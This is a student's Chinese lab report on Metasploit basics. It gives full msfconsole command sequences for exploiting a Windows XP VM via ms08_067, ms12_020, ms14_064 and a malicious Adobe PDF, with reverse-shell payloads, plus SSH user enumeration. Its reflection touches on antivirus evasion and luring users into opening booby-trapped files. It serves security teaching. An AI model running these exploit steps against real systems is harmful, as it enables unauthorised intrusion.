20181308 邵壮 Exp6 MSF应用基础

一、实验目标

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

二、实验内容概述

  • 一个主动攻击实践,如ms08_067
  • 一个针对浏览器的攻击,如ms12_020
  • 一个针对客户端的攻击,如Adobe
  • 成功应用任何一个辅助模块

三、基础知识

1、MSF体系架构

Metasploit是一款开源的渗透测试框架平台,它已经内置了数千个已披露的漏洞相关的模块和渗透测试工具。使用者选定需要使用的攻击模块之后,只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用。

其体系架构如下图所示:

image

2、实践原理

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击客户端

2.MSF的六个模块

模块源码目录:/usr/share/metasploit-framework/modules

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode“背”过去
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
  • 编码模块Encoders
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

3.常用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use XXXXX(exploit name):使用漏洞
  • show options:显示设置
  • set XXX(option name):设置选项
  • show payload:回连攻击载荷
  • show targets:显示版本
  • set TARGET XXXX(target number):设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块

四、实验过程

主动攻击的实践

ms08-067_netapi:自动化漏洞溢出攻击

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统, 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。

靶机:Windows XP(IP:192.168.72.133)

攻击机:kali linux(IP:192.168.72.129)

1. 输入msfconsole打开MSF控制台
2. 输入search ms08-067查找,找到可利用的模块

image

3. 输入use exploit/windows/smb/ms08_067_netapi启用该模块
4. 输入info查看靶机适用范围。

5. 输入下列参数:

  • set payload generic/shell_reverse_tcp选择攻击模块
  • set RHOSTS 192.168.72.133设定靶机IP地址
  • set LHOST 192.168.72.129设定攻击机IP地址
  • set LPORT 1308设定端口
  • set target 设定目标机版本,如果确认目标机版本就将对应版本写入,如果不确定,可以set target 0自动识别。

image

6. 输入exploit进行攻击,获得靶机控制权后可正常输入cmd命令,攻击结果如下:

image

ms12-020:Microsoft远程桌面协议RDP远程代码执行漏洞

ms12-020是Microsoft远程桌面协议RDP远程代码执行漏洞,本实验是通过利用meterpreter进行攻击。
  远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些RDP报文时Terminal Server 存在错误,可被利用造成服务停止响应(蓝屏)

靶机:Windows XP(IP:192.168.72.133)

攻击机:kali linux(IP:192.168.72.129)

首先确认3389端口是否开放,这个端口是此次漏洞攻击的关键

1.在Kali中使用 nmap -sS -sV 192.168.72.133查看

image

  1. kali端进入msfconsole 在msf控制台搜索漏洞利用,查看远程服务可以利用的模块:

image
3.有两个模块,我们选择第一个模块

4.首先执行 show options 命令,查看我们需要设置的参数。我的参数显示RHOST的ip为空,我们用set命令将其设置为被攻击的靶机ip地址。

注意:这里的端口不能进行修改,3389端口是固定的进行远程控制的端口,且极易在为做补丁的情况下被攻击。这个端口是此次攻击的关键。

5.设置参数完成后使用exploit 或者 run进行攻击

image

6.如果分屏进行攻击的话能更好的去观察,否则就会像我一样,切换到靶机时,已经进行重启。

image

当然,重启之后windows会提示你出现重大威胁,记录错误报告。

image

针对浏览器的攻击实践

ms14_064

  • Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。
  • 靶机:Windows xp sp3(IP:192.168.72.133)
    攻击机:kali linux(IP:192.168.72.129)
  • 具体步骤如下:

1. 以下是输入参数:

msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution 
show payloads 
set payload windows/meterpreter/reverse_tcp 
set SRVHOST 192.168.72.129 
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.72.129
set LPORT 5308
set target 0 //设置winXP靶机
exploit

image

image

参数设置完成后使用 show options进行检查

image

正确无误

exploit进行攻击

第一次攻击会生成一个URL

将生成的URL拷贝到XP的IE浏览器内运行

回到kali会发现提示会话建立成功的信息,使用 sessions -i 1获取会话连接,攻击成功。尝试接下来输入 ipconfig ,能够获取靶机的ip。

image

针对客户端的攻击

Adobe

靶机:Windows XP(IP:192.168.72.133)
攻击机:kali Linux(IP:192.168.72.129)

1.kali中启动msf控制台,输入以下参数:

use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.72.129 //kali的IP地址
set LPORT 1308 
set FILENAME sz1308.pdf //这里可以指定生成pdf的名字,默认为msf.pdf
exploit //发起攻击

2.步骤结束后,会在对应目录下生成制定的pdf文件的名字,我们找到这个文件,将它拖到XP虚拟机中。

3.回到kali,输入back退出当前模块,输入以下内容:

use exploit/multi/handler //启用监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.72.29 //kali的IP地址
set LPORT 1308
exploit //开始监听

在xp中使用Adobe Reader打开对应的pdf文件,返回kalli,我们发现已经取得了XP的控制权

image

成功应用一个辅助模块

辅助模块:能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。

Metasploit为渗透测试的信息搜集环节提供大量辅助模块支持:

  • 网络服务的扫描与查点
  • 收集登录密码、口令猜测破解、敏感信息嗅探
  • 探查敏感信息泄漏、Fuzz测试发掘漏洞
  • 实施网络协议欺骗等模块
  • 此外还包含一些无需加载攻击载荷,同时往往不是缺的目标系统远程控制权的渗透测试如拒绝服务攻击等。

image

ssh_enumusers(唯一)

靶机:Windows XP(IP:192.168.72.133)
攻击机:kali linux(IP:192.168.72.129)
1. 输入cd /usr/share/metasploit-framework/modules/auxiliary目录下查看Aux模块。
2. 这里我尝试使用的是 ssh_enumusers(ssh_用户枚举)
3. 打开msfconsole控制台,输入以下的参数:

use auxiliary/scanner/ssh/ssh_enumusers //启用相应模块
show options //查看参数设置
(这里可以先输入info查看该模块的具体说明,本模块的作用是发送格式错误的数据包或计时攻击来枚举OpenSSH服务器上的用户。测试会记录无效用户)
set RHOSTS 192.168.72.133 //设置目标地址
set RPORT 1308 //设置端口
set THREADS 50 //设置攻击线程
set THRESHOLD 2 //大致是设置找到用户前需要的秒数
set USERNAME yy //设置猜测用户名
run //启动

image

图中显示用户名“sz”无法验证为ssh的有效用户。这只是本次实验中的一个简单的使用,如果真的以此模块进行测试的时候,在参数设置的时候应该启用USER_FILE ,实现准备好存有大量常用用户名的文件,指定该文件参与用户名枚举。

ssh_version(唯一)

这个就不多做介绍了,在实验指导中操作的就是这个模块

image

五、实践总结与体会

基础问题回答

1.用自己的话解释什么是exploit,payload,encode

  • exploit:渗透攻击,通过寻找并利用靶机的漏洞实现非授权行为甚至直接完全取得被攻击机的控制权
  • payload:载荷,有效负载。实现非授权操作时执行攻击代码的那部分,可以是一段代码
  • encode:编码。在之前的实验中曾利用encode寻求后门程序的免杀

2.离实战还缺些什么技术或步骤
本次实验我们依旧是在两台机器都掌握的情况下实践的。无论是kali的权限,还是靶机的管理员权限,我们都能掌握,实战中我们肯定不能掌控管理员权限来开关端口等。而且靶机的防火墙一直处于关闭状态,实战中一定要根据防火墙和杀软来进行免杀。外加实验环境十分落后,我们的攻击只针对了前几年发现的漏洞和老旧的Windows系统。

感觉距离实战缺乏对漏洞的类型的了解,比如分析这一类漏洞出现的原因,根据这些原因去推断可能存在的新漏洞,然后去尝试攻击。还有就是如何绕开防火墙和杀软,在免杀的条件下完成我们的攻击。还有就是如果我们需要将一些不易被察觉,表面上无害的文件比如此次攻击的pdf文件。将这些东西注入靶机,如何让用户信任或者能够将文件放在关键部位,或者使用正确的方式打开。这些也是要去考虑的。感觉距离实战相差还是远的。

实验体会

说实话,这次实验难度并不是很高,但是很浪费时间。浪费时间在避免重复上。其实很多漏洞的区别在于理解和针对的角度上,具体操作并没有那么大的区别。我觉得我们更应该在这次实验中学到,不同的漏洞针对的方向,在这些方向上能否寻找新的漏洞或者没被关注的地方。

posted @ 2021-05-09 23:40  无知丶  阅读(124)  评论(0编辑  收藏  举报